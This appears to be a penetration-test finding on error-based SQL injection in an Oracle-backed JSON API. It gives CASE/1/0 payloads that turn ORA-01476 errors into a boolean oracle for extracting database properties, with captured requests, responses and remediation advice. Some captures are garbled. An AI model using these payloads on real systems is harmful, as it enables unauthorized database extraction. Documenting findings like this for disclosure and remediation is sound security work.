

ORACLE DIVISION BY ZERO- ERROR BASED SQLI.

This document describes a repeatable, authorized test procedure used to confirm error-based SQL injection against an Oracle backend by using a division-by-zero payload. The technique uses Oracle's ORA-01476 error (divisor is equal to zero) as an oracle to confirm that attacker-controlled input is evaluated by the database and to extract information (via boolean checks).

Simple division-by-zero probe:

Inject a direct division-by-zero expression to see if the DB error surfaces. Oracle divisor by zero confirms we're directly injecting into SQL execute

The screenshot shows a browser developer tools Network tab. The Request section shows a JSON payload with a 'params' field containing a division-by-zero expression: "2855. f1gLn7F..xae-4586-827c-690dbacafe": "1/0". The Response section shows the raw HTTP headers and a JSON object with an error message indicating ORA-01476.

```
request
Pretty Raw Hex
Sec-Fetch-Dest: empty
Referer: [REDACTED]
Accept-Encoding: gzip, deflate, br
Priority: #3, 1
Connection: keep-alive
{
  "params": {
    "2855. f1gLn7F..xae-4586-827c-690dbacafe": "1/0"
  }
}

Response
Pretty Raw Hex Render
1 img-src 'self' data: http: https:
2 X-Content-Security-Policy: font-src 'self' data:; default-src 'self';
3 'unsafe-inline' 'unsafe-eval' http: https: ws: wss: ;frame-ancestors 'self';
4 img-src 'self' data: http: https:
5 Strict-Transport-Security: max-age=31536000; includeSubDomains
6 X-Content-Type-Options: nosniff
7 X-XSS-Protection: 1; mode=block
8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
9 Pragma: no-cache
10 Expires: 0
11 Content-Type: application/json
12 Content-Language: en-US
13 Connection: Close
14 Date: Thu, 31 Jul 2025 07:02:08 GMT
15 Content-Length: 338
16
17
18
19 {
  "status": "500",
  "data": {
    "message": [
      "ORA-01476: division by zero"
    ]
  }
}
[REDACTED] ^ of \"Integration Service\" with name \"SQL Execute Statement\". Task instance id \"null\". Details: \"ORA-01476: divisor is equal to zero\\n\"; \"isFromSaveExecutionContext\":false
```

Use CASE to convert boolean checks to error/no-error (error-oracle)

Provide a payload like:

' || (SELECT CASE WHEN 1=1 THEN 1 ELSE 1/0 END FROM DUAL) ||'

Interpretation behind this is: With 1=1 the CASE returns 1 (no error). With 1=2 the CASE evaluates 1/0 and triggers ORA-01476.

Send the request and observe results. If the DB error appears (HTTP 500 and an ORA-01476 reference), you have direct evidence that injected content is being evaluated by Oracle.

Request

```

    "params": {
        "2055_f163a12f-a5ae-4586-827c-690db8ac6fe": "%\u25a1": "\u001a" || (SELECT CASE WHEN 1=2 THEN 1 ELSE 1/0 END
        FROM dual) ||%\u25a1",
    }

```

Response

```

Content-Security-Policy: font-src 'self' data; default-src 'self'
'unsafe-inline' 'unsafe-eval' http: https: ws: wss: ;frame-ancestors 'self';
img-src 'self' data: http: https:
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Content-Type: application/json
Content-Language: en-US
Connection: Close
Date: Thu, 31 Jul 2025 07:45:24 GMT
Content-Length: 338
{
    "status": "500",
    "data": {
        "message": "exception: An exception occurred in activity 'execute' of 'Integration Service' with name '(SQL Execute Statement)'. Task instance id 'null'. Details: '\u00d7ORA-01476: divisor is equal to zero\u00d7'.",
        "isFromSaveExecutionContext": false
    }
}

```

Request

```

    "params": {
        "2055_f163a12f-a5ae-4586-827c-690db8ac6fe": "%\u25a1": "\u001a" || (SELECT CASE WHEN 1=2 THEN 1 ELSE 1/0 END
        FROM dual) ||%\u25a1",
    }

```

Response

```

Content-Security-Policy: font-src 'self' data; default-src 'self'
'unsafe-inline' 'unsafe-eval' http: https: ws: wss: ;frame-ancestors 'self';
img-src 'self' data: http: https:
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Content-Type: application/json
Content-Language: en-US
Date: Thu, 31 Jul 2025 07:47:07 GMT
Content-Length: 10549
{
    "status": "200",
    "data": {
        "reset": false,
        "data": {
            "outputData": {}
        }
    }
}

```

Finding the length of current database:

Form a conditional payload that only triggers 1/0 when the boolean test is false.

'|| (SELECT CASE WHEN (LENGTH(sys.context('userenv','db_name')))< n THEN 1 ELSE 1/0 END
FROM DUAL) ||'.

Replace <n> with the guessed length value.

For each guessed value of <n>:

- Send the crafted request.
- If response is 200 (and large Content-Length) → the CASE returned 1 and the tested condition is **true**.
- If response is 500 and/or response contains ORA-01476 (and Content-Length is significantly smaller) → the CASE evaluated 1/0 and the tested condition is **false** (you triggered the division-by-zero).

Using this technique, iterate values (e.g., n=6,7,8...) until you identify the true value. The screenshot shows that guessing 7 returned 200 while 8 produced a 500 and included ORA-01476, confirming the condition.

quest

etty Raw Hex

Referer: [REDACTED]

Accept-Encoding: gzip, deflate, br

Priority: u=1, i

Connection: keep-alive

[REDACTED]

"params":{
 "sql": "SELECT CASE WHEN (LENGTH(sys_context('userenv', 'db_name')))=8 THEN 1 ELSE 1/0 END FROM dual"}

Response

Pretty Raw Hex Render

Content-Type: application/json

Content-Language: en-US

Connection: Close

Date: Thu, 24 Mar 2022 02:01 GMT

Content-Length: 338

{
 "status": "500",
 "error": {
 "code": "ORA-01476",
 "message": "ORA-01476: divisor is equal to zero"
 },
 "exception": "An exception occurred in activity \"Execute Statement\" with name \"SQL Execute Statement\" null". Details: \"ORA-01476: divisor is equal to zero\" isFromSaveExecutionContext: false

The screenshot shows a network traffic capture interface. The 'Request' section displays a JSON payload:

```

{
  "params": {
    "db_name": "'%\\-----': \"1\"|| (SELECT CASE WHEN (LENGTH(sys_context('userenv','db_name')))=? THEN 1 ELSE 1/0 END FROM dual) ||'\\%",
  }
}

```

The 'Response' section shows a JSON object:

```

{
  "status": "200",
  "data": {
    "reset": false,
    "data": {
      "output": "-----"
    }
  }
}

```

A red box highlights the injected SQL code in the request payload, and another red box highlights the error message in the response data.

Impact Rationale:

- The application is vulnerable to **error-based SQL injection**, which allows an attacker to confirm injection and extract information (schema names, DB properties, data) via iterative checks.
- Exposed DB errors amplify the risk by leaking internal DB details and enabling faster exploitation.

Remediation & recommendations

1. **Use parameterized queries / prepared statements** — avoid concatenating user input into SQL strings.
2. **Do not leak DB errors to the client.** Log full error details server-side; return safe, generic error messages to users.
3. **Apply least privilege** to the database account used by the application — restrict what queries and metadata can be accessed.
4. **Input validation**— validate and sanitize JSON input server-side; treat inputs as data, not code.
5. **Add runtime protections** — WAF rules detecting SQLi patterns and monitoring for repeated probes or DB error spikes.

